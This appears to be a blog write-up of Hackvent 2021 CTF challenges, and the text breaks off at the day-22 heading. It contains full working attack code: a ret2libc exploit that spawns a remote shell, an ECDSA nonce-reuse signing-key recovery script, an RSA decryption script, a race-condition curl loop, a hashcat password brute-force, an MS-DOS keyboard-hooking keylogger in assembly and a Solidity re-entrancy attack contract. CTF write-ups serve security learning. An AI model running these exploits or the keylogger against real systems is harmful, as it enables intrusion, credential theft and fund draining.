#!/usr/bin/python3 # # Help-files: # https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/ # https://stacklikemind.io/ret2libc-aslr --> UBUNTU PART!! # https://mdanilor.github.io/posts/memory-protections/ # from pwn import * from struct import pack #p = gdb.debug('./hv21_santas_wish_service', 'c') #p = process("./hv21_santas_wish_service") p = remote("152.96.7.2", 1337) binary = ELF('./hv21_santas_wish_service') context.binary = binary rop = ROP(binary) libc = ELF('./libc.so.6') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.update(arch='amd64', os='linux') p.clean() p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) p.sendline(b'A'*199) # get canary & libc_base address memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n') canary = memory_dump[246:254] libc_memory_leak = memory_dump[262:270] libc_base_int = int.from_bytes(libc_memory_leak, byteorder="little") libc_base_int -= 0x270b3 print(hexdump(memory_dump)) print("[--> Found Stack Canary: " + str(canary.hex())) print("[--> Found Libc Memory Leak: " + str(hex(libc_base_int))) p.sendline(b'1') print(p.recvline()) p.sendline(b'300') print(p.recvline()) libc.address = libc_base_int rop.raw(b'A'*200) rop.raw(canary) rop.raw(b'B'*8) rop.raw(0x0000000000026b72+libc_base_int) # pop_rdi address rop.raw(next(libc.search(b'/bin/sh'))) # target libc rop.raw(0x00000000000c0533+libc_base_int) # stackalignment rop.raw(libc.symbols['system']) p.sendline(rop.chain()) p.recvuntil(b'2: Exit') p.recvline() p.sendline(b'2') p.interactive()
Flag
HV21{0h_n0!!!_3lv3s_Pr0gr4mmingSk1llz_4r3_st1ll_b4d!}
[HV21.15] Christmas Bauble
Thanks!
This challenge is brought to you by Dr Nick. DrSchottky graciously provided the surroundings. Such great artists!
Introduction
The elves have started taking 3D modeling classes and have presented Santa with a gift. What a nice gesture! But the ball feels heavier than it should; what does that even mean for digital assets???
Goal
There may or may not be a flag hidden somewhere. Who am I kidding, of course there is. Find it!
Solution
This challenge was pretty easy in comparison to the binary exploitation on the day before. I used the online tool https://app.vectary.com/ to solve this challenge. I opened the file and changed the display method to wired. This way you can verify that there is a QR code inside the bauble, which unfortunately is not readable yet:
I changed the display method to “shaded”, right clicked on the bauble and selected “break apart”. On the left side in the menu I selected the different parts of the bauble until I found the outer part, which I did hide in the view. Now we already have a pretty clear QR code visible, although still not scannable.
As a final step I did change the color to all black and got 3 different QR codes from the different orientations:
Flag
HV21{1st_P4rt_0f_th3_fl4g_with_the_2nd_P4rt_c0mb1ned_w17h_th4t}
[HV21-Hidden] Where did you find that??
What? You found another one? Lucky you!
Solution
In the wired view of the same online application as before I found the flag hidden in the top left corner of one of the QR codes.
Flag
HV21{hidd3n_1n_th3_cube}
[HV21.16] Santa’s Crypto Vault
Thanks!
This challenge is brought to you by MtHonegg. Kotlin rulez 😉
Introduction
With the recent Crypto Rally, Santa has invested all his funds into Santa Coins. Because he doesn’t trust any existing software to securely store his wallet, he asked one of his elves, “Mikitaka Hazekura”, to implement their own crypto vault using enterprise software design patterns, the latest technology and thorough unit tests. They’re so proud of it, they’ve decided to open source it!
Santa requested to use multiple words, based off his favorite anime, instead of one long password to make it more memorable and secure at the same time.
Goal
Santa watched the newly released 6th part of his favorite anime and binge-watched it multiple times already. Unfortunately he can now no longer remember which characters he used to set up his wallet and can’t access his funds to buy the gifts for Christmas. Can you help Santa out?
Hints
- No knowledge about
JoJo's Bizarre Adventure
is required to solve this challenge - No extensive brute force or wordlist is required
Solution
We got the whole source code of the application. There are many hints which indicate that there is a race-condition in the application. E.g. the comment in the unit-test, the blocking of the concurrent requests and the button in the website which is disabled after submitting a request.
package dev.honegger.hackvent2021.santacryptovault.controllers import dev.honegger.hackvent2021.santacryptovault.services.VaultCode import kotlinx.coroutines.* import org.junit.jupiter.api.Assertions import org.junit.jupiter.api.Disabled import org.junit.jupiter.api.Test import org.springframework.beans.factory.annotation.Autowired import org.springframework.boot.test.context.SpringBootTest import org.springframework.http.HttpStatus import kotlin.time.Duration.Companion.milliseconds @SpringBootTest( properties = [ "vault.secret.bestCharacter=Correct_hash", "vault.secret.bestWaifu=Correct_hash", "vault.secret.reliableGuy=Correct_hash", "vault.secret.bestStand=Correct_hash", "vault.secret.bestVillain=Correct_hash", ] ) class VaultControllerTests { @Autowired lateinit var controller: VaultController private val dummyCode = VaultCode( bestCharacter = "Dio", bestWaifu = "Dio", reliableGuy = "Dio", bestStand = "Dio", bestVillain = "Dio", ) @Test fun `too many requests get blocked`() = runBlocking { val firstRequests = listOf( async { controller.check(dummyCode) }, async { controller.check(dummyCode) }, ) delay(100.milliseconds) val additionalRequest = controller.check(dummyCode) val results = firstRequests.awaitAll() results.forEach { Assertions.assertEquals( HttpStatus.FORBIDDEN, it.statusCode ) } Assertions.assertEquals( HttpStatus.TOO_MANY_REQUESTS, additionalRequest.statusCode ) } @Test @Disabled("TODO sometimes this test fails and a dummyCode passes, hopefully just a test issue") fun `parallel execution works`() = runBlocking { listOf( async { controller.check(dummyCode) }, // Hint: This delay needs to be adjusted based on computer speed if you want to run the test locally async { delay(375.milliseconds); controller.check(dummyCode) }, ).map { it.await() }.forEach { Assertions.assertEquals( HttpStatus.FORBIDDEN, it.statusCode ) } } }
package dev.honegger.hackvent2021.santacryptovault.controllers import dev.honegger.hackvent2021.santacryptovault.services.WalletService import dev.honegger.hackvent2021.santacryptovault.services.VaultCode import dev.honegger.hackvent2021.santacryptovault.services.VaultService import kotlinx.coroutines.* import mu.KotlinLogging import org.springframework.http.HttpStatus import org.springframework.http.ResponseEntity import org.springframework.web.bind.annotation.GetMapping import org.springframework.web.bind.annotation.RestController import java.util.concurrent.atomic.AtomicInteger import kotlin.time.Duration.Companion.seconds /** * Prevent evil DDOS or Brute-Force attacks */ private const val maxConcurrentRequests = 2 /** * Prevent time based Brute-Force attacks */ private val constRequestDuration = 2.seconds private val log = KotlinLogging.logger { } @RestController class VaultController(private val vaultService: VaultService, private val walletService: WalletService) { private var activeRequests = AtomicInteger(0) private val scope = CoroutineScope(Dispatchers.Default) @GetMapping("/check") suspend fun check(code: VaultCode): ResponseEntity<String> { return if (activeRequests.incrementAndGet() <= maxConcurrentRequests) { try { log.info { "Checking $code" } val delayTask = scope.async { delay(constRequestDuration) } val codeTask = scope.async { vaultService.checkCode(code) } val res = codeTask.await() delayTask.await() if (res) { ResponseEntity.ok("Correct code! Here's your crypto wallet: ${walletService.walletAddress}") } else { ResponseEntity.status(HttpStatus.FORBIDDEN).body("Wrong code!") } } finally { activeRequests.decrementAndGet() } } else { activeRequests.decrementAndGet() log.info { "Blocked DDOS attack" } ResponseEntity.status(HttpStatus.TOO_MANY_REQUESTS).body("Too many parallel requests!") } } }
I solved this task by entering the curl command in one terminal and running a bash loop in a second terminal. After 2-3 minutes I got the flag.
while true; do curl "https://b805c837-cac5-47b2-8aa4-a9fab4730ede.idocker.vuln.land/check?bestCharacter=Dio&bestWaifu=Dio&reliableGuy=Dio&bestStand=Dio&bestVillain=Dio"; done
Flag
HV21{c0ncurrency_1s_a_b1tch}
[HV21.17] Forging Santa’s Signature
Thanks!
This challenge is brought to you by ice. It’s their signature dish!
Introduction
Santa is out of town and the elves have to urgently sign for an order. What to do, what to do? Well, need to save Christmas, so forge Santa’s signature they shall!
Goal
Can you help the elves help Santa help everyone?
Hints
The message to be signed is hashed as follows: int(sha512(content.encode('utf-8')).hexdigest(), 16)
Solution
On the challenge website we can sign sample messages and execute commands if we can properly sign them.
First, I googled for P-384 and came across the ECDSA Signature Algorithm. In my research I discovered that the bug/problem used for this challenge was the reason that the Playstation 3 was hacked by fail0verflow and geohot. The problem exists when a poor or no random generator is used and the nonce always stays the same. I also stumbled across a video of LiveOverflow on youtube, who explains in detail how to solve this kind of CTF challenge. My solution is heavily based on the mentioned youtube video.
With the same nonce, the two messages in the print screen and the signatures we can recover the signing key and sign our own command to solve this challenge. The command “cat flag.txt” is used to read the content of the flag. Here is my script:
from hashlib import sha512 from ecdsa.curves import NIST384p from ecdsa.numbertheory import inverse_mod from ecdsa import SigningKey from ecdsa.util import string_to_number, sigencode_strings from dataclasses import dataclass, field from numpy import mod def get_signature(message, signing_key, private_key): sigr, sig = signing_key.sign(message.encode('utf-8'), k=private_key, sigencode=sigencode_strings, hashfunc=sha512, allow_truncate=True) return string_to_number(sigr), string_to_number(sig) n = NIST384p.order r1 = 5858732217639868639411386743809793774024746786952853845150182054444060335615795388004347925624921216402601780245474 s1 = 24775390985096693628587027542033193722178956113964732633660589449938083762410321188008407598547182884719288898328927 m1 = "Sample 1" z1 = int(sha512(m1.encode('utf-8')).hexdigest(), 16) z1 = z1 >> (512 - int(NIST384p.order).bit_length()) r2 = 5858732217639868639411386743809793774024746786952853845150182054444060335615795388004347925624921216402601780245474 s2 = 2011626295771525712212976969583419665940885391604065641883244102761256044025895922113900869438754143591054921598902 m2 = "Sample 2" z2 = int(sha512(m2.encode('utf-8')).hexdigest(), 16) z2 = z2 >> (512 - int(NIST384p.order).bit_length()) k = (((z1 - z2) %n) * inverse_mod(s1 - s2, n)) %n print("got k: " + str(k)) dA = ((((s1*k)%n) -z1) * inverse_mod(r1,n)) %n print("got DA: " + str(dA)) sk = SigningKey.from_secret_exponent(dA,curve=NIST384p) print(get_signature("cat flag.txt", sk, k))
$ python3 sol.py got k: 1403827651692161146480849641683810706894875255817855607788378779847968599038129200139880981523307336790480705837853 got DA: 37359027294104166988040099919169160805154413368249661614739727606944143104440877050919128026845236700442103481261264 (5858732217639868639411386743809793774024746786952853845150182054444060335615795388004347925624921216402601780245474, 19734950972302764859836649590795926779990380369758052552114472465653004798967695373456125244935806469449514350652879)
Flag
HV21{what’s_in_a_nonce?}
[HV21.18] Lost Password
Thanks!
This challenge is brought to you by monkey. Running a very tight ship 😉
Introduction
Santa is getting a bit cross with Snowball the elf…
SANTA: Let me get this straight. I asked you to encrypt all our PDF files to prevent our lists of names from getting into the wrong hands, right?
SNOWBALL: Right.
SANTA: And then I asked you to send me the password to these files so I can access them, yes?
SNOWBALL: Yes.
SANTA: So you sent me the password in a PDF file.
SNOWBALL: A PDF, yes.
SANTA: Which was encrypted.
SNOWBALL: Yes. As per your instructions. We don’t want the password to get into the wrong hands, do we?
SANTA: But I can’t open this password file without knowing what the password is, can I? Could you please just write it down for me? You do remember it, don’t you?
SNOWBALL: Umm….
SANTA: Snowball! Don’t tell me you forgot the password!
Uh-oh. It’s starting to look like Christmas is ruined. Is there anything you can do to retrieve the password from this file?
Flag-Format: HV{__________}
Solution
Another very resource intensive challenge… I used the tools and information from Didier Stevens to solve this challenge.
Step 1 – Analyze the PDF
We have a PDF file with the PDF version 1.6. In the PDF are 27 different objects. Let’s look closer at the objects with pdf-parser.py and see if we find anything of interest:
We have an AES symmetric encryption with 128bit… Doesn’t sound like we can bruteforce this password. One object in the PDF is suspicious though, the font object:
If we look at the widths and map the array to the characters in the alphabet, we can take the assumption that characters with width of 0 are non-existent. That means we have a limited character set for the password with the charset:
#/6EHQRVgjwx{}
According to the hint the flag-format and the password is “HV{__________}
“. There are 10 characters between the brackets {}. I took the assumption, that the characters HV{} are only used for the outer part of the flag “HV{}” and removed these characters from the character set. I did store the final character set to the file charset.txt.
#/6EQRgjwx
With all this information it is suitable to brute-force the password. It still took ages on my laptop to compute though. To be precise it took me 5 hours and 35 minutes!
$ hashcat -m 10500 -a 3 -i doc.hash -1 charset.txt HV{?1?1?1?1?1?1?1?1?1?1} --force --increment-min=14
With the password “HV{E6wRx#jQ/g}” we can open the PDF and get the confirmation that the password is also our flag.
Flag
HV{E6wRx#jQ/g}
[HV21.19] Santa’s Trusty System
Thanks!
This challenge is brought to you by darkstar. All hail stability!
Introduction
Santa has been using his trusty system for more than a quarter of a century and his elves think the software is far too old and insecure. They’re asking you to have a look at the software. They’d also be willing to swap one of the disks if you provide an updated version. You’ll of course get it back as soon as they’ve done a quick sanity test on Santa’s system.
Goal
Can you please take a look at the software and see if it’ secure?
Solution
I couldn’t have solved this challenge without the help of “ice”. I understood what needed to be done in the challenge, but struggled in the assembler part. Therefore the assembler-code is mainly his. Thanks a lot for the support.
The challenge provides this website:
Moreover we have two img files fda.img and fdb.img together with a run.sh script to run the files in qemu.
Let’s mount the fda.img image locally and see what the content is.
Together with the website of the challenge we can figure out what is needed to solve this:
- AUTOEXEC.BAT loads b:\init.bat which is under our control
- We can upload fdb.img to the website, with a init.bat and load our own program which will be executed before the hv21.exe
- If we are able to write output to b:\ and the checksum of fdb.img changes after execution, we can download the image.
In my perspective there are two ways to solve the challenge. 1) Write a keylogger for MS-DOS which saves the keystrokes to b:\ and load it in the init.bat file. 2) Patch the HV21.exe file to save the keystrokes/password to b:\ and replace the original HV21.exe with the init.bat file. I went for solution number one.
Step 1 – ASM keylogger
Thanks to ice I could create the following keylogger in assembly, which is based on this source code: https://github.com/MrMichael2002/Keylogger-scan-codes/blob/master/KEYS.ASM
HV21.exe registers the interrupt routine 09h and therefore we need to address this in the assembly code, otherwise the keylogger will not work during the execution of hv21.exe – then we won’t get the username & password.
.model tiny .code .386 org 100h Start: jmp real_start edited dw 0 magic dw 0BABAh logfile db 'b:\output.txt', 0 handle dw 0 buf db 320 dup (?) bufptr dw 0 must_write db 0 ;IRQ1 - KEYBOARD DATA READY new_09h: pushf pusha push es push ds push cs pop ds ;Remember segments cmp bufptr, 160 jae call_old_09 ;Check if buffer is overflown in al, 60h ;cmp al, 39h ;Don't remember Shift, Alt and Ctrl ;ja call_old_09 ;cmp al, 2Ah ;je call_old_09 ;cmp al, 36h ;je call_old_09 push 0 pop es mov ah, byte ptr es:[417h] test ah, 43h ;Check if both shifts and CapsLock pressed je pk1 add al, 80h pk1: mov di, bufptr mov buf[di], al inc di mov bufptr, di mov must_write, 1 call_old_09: cmp edited, 3 jb second pop ds pop es popa popf jmp dword ptr cs:[old_09_offset] ;Jump to old int09 handler second: pop ds pop es popa popf jmp dword ptr cs:[hv_offset] ;Jump to hv21.exe handler old_09_offset dw ? old_09_segment dw ? ;DOS IDLE INTERRUPT new_28h: pushf pusha push es push ds push cs pop ds cmp must_write, 1 jne call_old_28 cmp bufptr, 160 jb call_old_28 mov ax, 3d01h lea dx, logfile int 21h jc call_old_28 mov handle, ax mov bx, ax mov ax, 4202h xor cx, cx xor dx, dx int 21h jc call_old_28 mov ah, 40h mov bx, handle mov cx, bufptr lea dx, buf int 21h jc call_old_28 mov ah, 3Eh mov bx, handle int 21h jc call_old_28 mov must_write, 0 mov bufptr, 0 call_old_28: pop ds pop es popa popf jmp dword ptr cs:[old_28_offset] old_28_offset dw ? old_28_segment dw ? new_21h: pushf pusha push es push ds push cs ;pop ds cmp ax, 2509h jne call_old_21 mov cs:hv_offset, dx mov cs:hv_segment, ds inc edited pop ds pop ds pop es popa popf iret call_old_21: pop ds pop ds pop es popa popf jmp dword ptr cs:[old_21_offset] hv_offset dw ? hv_segment dw ? old_21_offset dw ? old_21_segment dw ? real_start: mov ax, 3509h ;Get old int09h address int 21h cmp word ptr es:magic, 0BABAh ;Check if has been installed je already_inst mov cs:old_09_offset, bx ;Remember old int09h handler mov cs:old_09_segment, es mov ax, 2509h ;Set new int09h handler mov dx, offset new_09h int 21h mov ax, 3528h ;Get old 28h handler int 21h mov cs:old_28_offset, bx mov cs:old_28_segment, es mov ax, 2528h ;Set new 28h handler mov dx, offset new_28h int 21h mov ax, 3521h ;Get old21h handler int 21h mov cs:old_21_offset, bx mov cs:old_21_segment, es mov ax, 2521h ;Set new 21h handler mov dx, offset new_21h int 21h call create_log_file mov dx, offset ok_installed mov ah, 09h int 21h ;mov dx, offset real_start ;TSR ;int 27h mov dx, offset real_start mov cl, 4 shr dx, cl add dx, 111h mov ax, 3100h int 21h create_log_file: mov ax, 3D01h ;Try to open file lea dx, logfile int 21h mov handle, ax jnc clog4 clog3: mov ah, 3Ch ;Create new file if not opened mov cx, 02h lea dx, logfile int 21h mov handle, ax clog4: mov bx, handle ;Remember file handle mov ah, 3Eh ;Close file int 21h ret already_inst: mov dx, offset already_msg mov ah, 09h int 21h jmp exit exit: int 20h ok_installed db 'KEYLOG successful installed$' already_msg db 'KEYLOG already installed$' end Start
We use Open Watcom v2 to compile the code. Of help in using Watcom were also these two links:
- https://wiki.archlinux.org/title/Open_Watcom
- http://ptspts.blogspot.com/2020/04/openwatcom-exeprog.html
$ wasm keylogger.asm $ wlink sys dos com name keylogger.com file keylogger.o $ mkdir img; sudo mount -o loop fdb.img img $ cp keylogger.com img/k.com $ cat init.bat b: k.com $ sudo umount img
Now we can upload the fdb.img to the website and wait until the routine has completed. Afterwards we should be able to download the fdb.img again, as the content has changed.
And voila, there is the file OUTPUT.TXT.
Step 2 – Decode scan codes
I didn’t find an automatic way to convert the scan codes to actual characters. Thus, I used this pdf file to do it manually. I converted all the keystrokes and saved them in a text file.
38 --> ALT (DOWN) 18 98 --> O (DOWN, UP) b8 --> ALT (UP) 19 99 --> P (Down, UP) 04 84 --> 3 (Down, UP) 13 93 --> R (Down, UP) 38 --> ALT (Down) 1e 9e --> A (DOWN, UP) b8 --> ALT (UP) 14 94 --> T (DOWN, UP) 18 98 --> O (DOWN, UP) 13 93 --> R (DOWN, UP) 1c 9c --> ENTER (DOWN, UP) ---- 1d --> CTRL (DOWN) 02 82 --> 1! (DOWN, UP) 9d --> CTRL (UP) 38 --> ALT (DOWN) 02 82 --> 1! (DOWN, UP) b8 --> ALT (UP) 38 --> ALT (DOWN) 1f 9f --> S (DOWN, UP) b8 --> ATL (UP) 16 96 --> U (DOWN, UP) 19 99 --> P (DOWN, UP) 19 99 --> P (DOWN, UP) 12 92 --> E (DOWN, UP) 13 93 --> R (DOWN, UP) 2a --> L-SHIFT (DOWN) 39 b9 --> SPACE (DOWN, UP) aa --> L-SHIFT (UP) 2a --> L-SHIFT (DOWN) 1f 9f --> S (DOWN, UP) aa --> L-SHIFT (UP) 12 92 --> E (DOWN, UP) 2e ae --> C (DOWN, UP) 16 96 --> U (DOWN, UP) 13 93 --> R (DOWN, UP) 12 92 --> E (DOWN, UP) 38 --> ALT (DOWN) 39 b9 --> SPACE (DOWN, UP) b8 --> ALT (UP) 19 99 --> P (DOWN, UP) 38 --> ALT (DOWN) 1e 9e --> A (DOWN, UP) b8 --> ALT (UP) 06 86 --> 5% (DOWN, UP) 06 86 --> 5% (DOWN, UP) 11 91 --> W (DOWN, UP) 38 --> alt 18 98 --> O (DOWN, UP) b8 --> ATL 13 93 --> R (DOWN, UP) 20 a0 --> D (DOWN, UP) 38 --> ALT 03 83 --> 2@ (DOWN, UP) b8 --> ALT 1d --> CTRL (DOWN) 05 85 --> 4$ (DOWN, UP) 9d --> CTRL (UP) 1d --> CTRL 09 89 --> 8* (DOWN, UP) 9d --> CTRL 17 97 --> I (DOWN, UP) 2a --> LSHIFT 39 b9 --> SPACE (DOWN, UP) aa --> LSHIFT 23 a3 --> H (DOWN, UP) 18 98 --> O (DOWN, UP) 19 99 --> P (DOWN, UP) 12 92 --> E (DOWN, UP) 2a --> LSHIFT 39 b9 --> SPACE (DOWN, UP) aa --> LSHIFT 17 97 --> I (DOWN, UP) 14 94 --> T (DOWN, UP) 2a --> LSHIFT 2b ab --> \| (DOWN, UP) aa --> LSHIFT 1f 9f --> S (DOWN, UP) 2a --> LSHFT 35 b5 --> /? (DOWN, UP) aa --> LSHIFT 26 a6 --> L (DOWN, UP) 18 98 --> O (DOWN, UP) 31 b1 --> N (DOWN, UP) 22 a2 --> G (DOWN, UP) 2a --> LSHIFT 35 b5 --> /? (DOWN, UP) aa --> LSHIFT 12 92 --> E (DOWN, UP) 31 b1 --> N (DOWN, UP) 18 98 --> O (DOWN, UP) 16 96 --> U (DOWN, UP) 22 a2 --> G (DOWN, UP) 23 a3 --> H (DOWN, UP) 14 94 --> T (DOWN, UP) 1d --> CTRL 06 86 --> 5% (DOWN, UP) 9d --> CTRL
There are many special characters in the username and password, which I never could have entered manually myself. Fortunately, there is the compatmonitor in qemu which has the function “sendkeys”.
Flag
HV21{hack1ng_l1ke_th3_90s}
[HV21.20] Trolling Crypto Elves
Thanks!
This challenge is brought to you by ice. Don’t break everything!
Introduction
The elves have been back to school and now they’re trolling Santa. They’ve encrypted a message and are challenging him to decrypt it. Of course Santa doesn’t want to look stupid, so he’s asking you for help.
Goal
Would you mind decrypting the message and letting Santa know what’s in it? You’ll get a cookie in return (well, a flag-shaped one, but aren’t those the best?).
Solution
We get a public key and an encrypted message, stored in a binary file. The public key is an RSA key with a weird exponent of 4242.
Looks like we have to do the RSA calculation ourselves. Once again I googled for similar CTF challenges and did find these two interesting posts:
- http://hacktracking.blogspot.com/2013/11/cscamp-ctf-quals-2k13-crypto-public-is.html
- https://github.com/VulnHub/ctf-writeups/blob/master/2015/eko-party-pre-ctf/rsa-2070.md
Given is already n (Modulus), e (Exponent), c (encrypted message). We need p & q to calculate everything we need.
n = p*q
RSA is built on the factorization problem, which should not allow us to get p & q if we have n. There is the website factordb.com which has pre-calculated factorizations. Let’s see if we find the primes for our n. There is a factorization available! p & q are even the same number. We now have the following:
- n: 21841229176641676811074222222429036686010157493819478906104756224784026782720095285562077658175994506814988868039420867464335127876647084137268626334223518969271953762934538192829593027351087506564856372252764608983654907443877304590598039308085484230387424168108589912364744981715047690934796624671825840761147121835935311518027061488285356813614197767377798508227633097728683793773240697883725855674919223272992158621864652379194787743287739980453395882286994644048503221607873267720518809023683802183778543479285200786684047572628386266548042179603137730815862594760654189158575192864779821225861303652435417736529 - e: 4242 - p: 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977 - q: 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977
Unfortunately, the standard calculation examples for this problem don’t work. This, because we have two special cases in this challenge.
1) p == q
Solution –> phi = p * (p – 1) instead of phi = (p – 1)(q – 1)
2) gcd(phi_n, e) != 1
Solution –> can be found here: https://github.com/HackThisSite/CTF-Writeups/blob/master/2017/EasyCTF/RSA%204/README.md
We now have collected all the puzzle pieces to solve the challenge. The final script is:
from Crypto.Util.number import long_to_bytes from Crypto.PublicKey import RSA import gmpy2 import base64 ''' Supporting blog posts: - http://hacktracking.blogspot.com/2013/11/cscamp-ctf-quals-2k13-crypto-public-is.html - https://github.com/VulnHub/ctf-writeups/blob/master/2015/eko-party-pre-ctf/rsa-2070.md ''' public_key ='''-----BEGIN PUBLIC KEY----- MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQEArQQPi5eDjcWTz/cZToY9 V9WjmbvvbN7P3W2NTdAYCd7EryshptEUsPdXbeTHrWObEROG0ZMrGFrWY4G33sXN ZsdZ/AYwRSfQdH2bA5nqrTWIcxJRiDShBgD/w99BYqJH+d7qpPbRGdJJWYYQN1LJ XLdUyZvH4VTQMq7wbu+Gly9NUxaTVpDTgm3PSBfjiBIcWBy7yGI1VU2Leuf0Ik+4 ystrTn4CgFKbyTxBEAB9f2kvemePqH2w2/9lkHJF9zDGp4MrWcA+1GOQjjYl5cM8 3xd/eZh04GglIS4cbNt4jHma0SfivbemNOMOgW9lAbItIZvD/1s2lrOZE2jd7zWl UQICEJI= -----END PUBLIC KEY-----''' encrypted_message = '''CRb31iikjWfVXYQI7K6WffS2XIpticw4+a7d8CY+9SHNdO3GysZo2U3NJ6bKoPe5/OWj8NwoYU/M jp8GrJ9ZXiUg1V+sGnXJIuU/hPIHWWsYiAzxyO1XLJ+rDr6PU6e3e3rBn9weat9ovt8dqtxsqNKt aXgmjt+XEwf9/4rL0kJfWdSh/qi3ITu42AnRMjeZitPb2bwpYhbl/3zT3sn6pJBtgeKKmYdjrNYs ZMwJZvkjw75GwzVl2JIuMzHBVwgX2Ca6B6oyccINYrqZOlvex8k3TLqBTLAk3ls7nxVILEQcLtLh 5/ORI1OFb1Lj46dIyn0ZTdvkrDjo2/ruhT5btQ==''' pubkey = RSA.importKey(public_key) p = 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977 q = 147787784260545962118188414836562419091239637174246137547080224512674547409696632337716736540029480316926476778997662919589650979117808985601704630621987476641319630228351149280459382305077484493057997870551421060027289012740657904610013731896147312992127289391935096623938889140237400984329575053824496483977 c = int.from_bytes(base64.b64decode(encrypted_message), 'big') n = pubkey.n e = pubkey.e print("[+] Got values:") print("- n: " + str(n)) print("- e: " + str(e)) print("- p: " + str(p)) print("- q: " + str(q)) # phi = (p-1)*(q-1), but when p=q then p *(p-1) phi = p * (p - 1) g = gmpy2.gcd(e, phi) e //= g d = gmpy2.invert(e, phi) m = pow(c, d, n) m, _ = gmpy2.iroot(m, g) print("----") print("[!!] " + str(long_to_bytes(m)))
Flag
HV{F3M4TS L1TTL3 TH30R3M}
[HV21.21] Re-Entry to Nice List
Thanks!
This challenge is brought to you by HaCk0. For sure on the nice list!
Introduction
The elves are going web3! Also, Santa needs money to produce the toys (did you really think anything is for free?!). In order not be a boomer and to raise more than the ConstitutionDAO, he tasked his elves with creating a smart contract for people to buy into the nice list.
Unfortunately, the elves weren’t up to the task and only were able to put the deeds counter on to the blockchain. You have to submit one good deed per month to get on to the nice list.
Unluckily for you, Christmas is in a few days and you can only submit 1 deed per month (or in blockchain terms: every 172800 blocks). Or can you get your counter to 0 in time?
Hints
- Contract address:
0x82Ff67Ed282eFdeBcE2BA1176d65f39762Ce1cc5
- Network used: Etherum Rinkeby (Test Network)
- Create a Wallet: use the metamask browser extension
- If you’ve already connected to the server before installing, reload your page.
- Get some ETH at e.g.
Solution
Another Blockchain challenge, I solved this one as second \o/. Did I mention that I like Blockchain challenges? 😉 Once again, I worked with the remix application and Metamask.
Once connected to Metamask the challenge website looks like this:
On etherscan.io we can find the source code of the challenge contract.
pragma solidity 0.8.0; contract SantasList { mapping(address => uint256) naughtyList; mapping(address => uint256) nextGoodDeedAfter; function start() public { naughtyList[tx.origin] = 12; nextGoodDeedAfter[tx.origin] = 0; } function goodDeed() public { require( nextGoodDeedAfter[tx.origin] < block.number, "You have already done your good deed this month" ); if (naughtyList[tx.origin] > 0) { naughtyList[tx.origin] = naughtyList[tx.origin] - 1; (bool success, ) = msg.sender.call(""); require(success, "Call failed"); nextGoodDeedAfter[tx.origin] = block.number + 172800; } } function goodDeedsLeft(address _address) public view returns (uint256) { return naughtyList[_address]; } function isNice(address _address) public view returns (bool) { if(nextGoodDeedAfter[_address] > 0 && naughtyList[_address] == 0) { return true; } else { return false; } } }
The goal of the challenge is to get on to the Nice-List. But we can only report 1 good deed per month. According to the challenge description it is very clear that it has something to do with the DAO hack.
Indeed, if we look closer at the source code of the smart contract we can see that there is a Re-Entrancy vulnerability in the goodDeed() function.
function goodDeed() public { require( nextGoodDeedAfter[tx.origin] < block.number, "You have already done your good deed this month" ); if (naughtyList[tx.origin] > 0) { naughtyList[tx.origin] = naughtyList[tx.origin] - 1; (bool success, ) = msg.sender.call(""); require(success, "Call failed"); nextGoodDeedAfter[tx.origin] = block.number + 172800; } }
Before “nextGoodDeedAfter” is set to block.number + 172800 we have the call to the sender, meaning us/attacker, of the contract: (bool success, ) = msg.sender.call(“”).
Thus, we can create a smart contract on our own. We implement the receive() and fallback() functions which will run when the contract is called and no function is selected. Exactly what happens with “msg.sender.call(”)”. In these functions we recursively call the goodDeed() function of the challenge contract. Now we have a recursive loop, the challenge contract will always call our own contract which will call the challenge contract before this can set the limitation. Here is the my smart contract to solve this challenge:
/** * * DAO Hack - Re-Entrancy vulnerability, more details here: * - https://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/ * - https://medium.com/coinmonks/ethernaut-lvl-10-re-entrancy-walkthrough-how-to-abuse-execution-ordering-and-reproduce-the-dao-7ec88b912c14 * - https://consensys.github.io/smart-contract-best-practices/known_attacks/ * * Executed and deployed with remix: * - https://remix.ethereum.org/ * */ pragma solidity ^0.8.10; /** * Interface to Santa Contract: * - https://rinkeby.etherscan.io/address/0x82Ff67Ed282eFdeBcE2BA1176d65f39762Ce1cc5#code */ interface SantasList{ function start() external; function goodDeed() external; function goodDeedsLeft(address _address) external view returns (uint256); function isNice(address _address) external view returns (bool); } contract AttackHV21 { address constant santa = 0x82Ff67Ed282eFdeBcE2BA1176d65f39762Ce1cc5; SantasList sl; constructor() { sl = SantasList(santa); } function start() public { sl.start(); } function attack() public { sl.goodDeed(); } function checkNice() public view returns (bool) { return sl.isNice(msg.sender); } function checkDeeds() public view returns (uint256) { return sl.goodDeedsLeft(msg.sender); } function getAddress() public view returns(address){ return msg.sender; } /** * These functions execute the attack - not sure which one is called though * * The vulnerable contract calls msg.sender.call("") before the time limit for the next good deed is set. * We can use this vulnerability and recursively call goodDeed, when the contract calls us. * Until we are on the nice list */ receive() external payable{ uint count = 0; if (count <= 12) { sl.goodDeed(); count++; } } fallback() external payable{ uint count = 0; if (count <= 12) { sl.goodDeed(); count++; } } }
Flag
HV{wEb3_4oR_Th3_Win}
[HV21.22] Santa’s Gift Encryptor
Thanks!
This challenge is brought to you by darkice. Keeping gifts safe!
Introduction
Santa takes security very seriously and encrypts all his gifts. However, his elves were very busy this year and could not finish the work on the new encryption tool, and therefore it is not possible to decrypt the gifts now. As Christmas is coming closer and closer, we urgently need someone who can finish their work so that the children won’t be left without presents. And if that wasn’t already bad enough, Santa has also lost his license key, but that’s probably the least of our problems.
Goal
Find the key for Santa and decrypt your own gift!
Solution
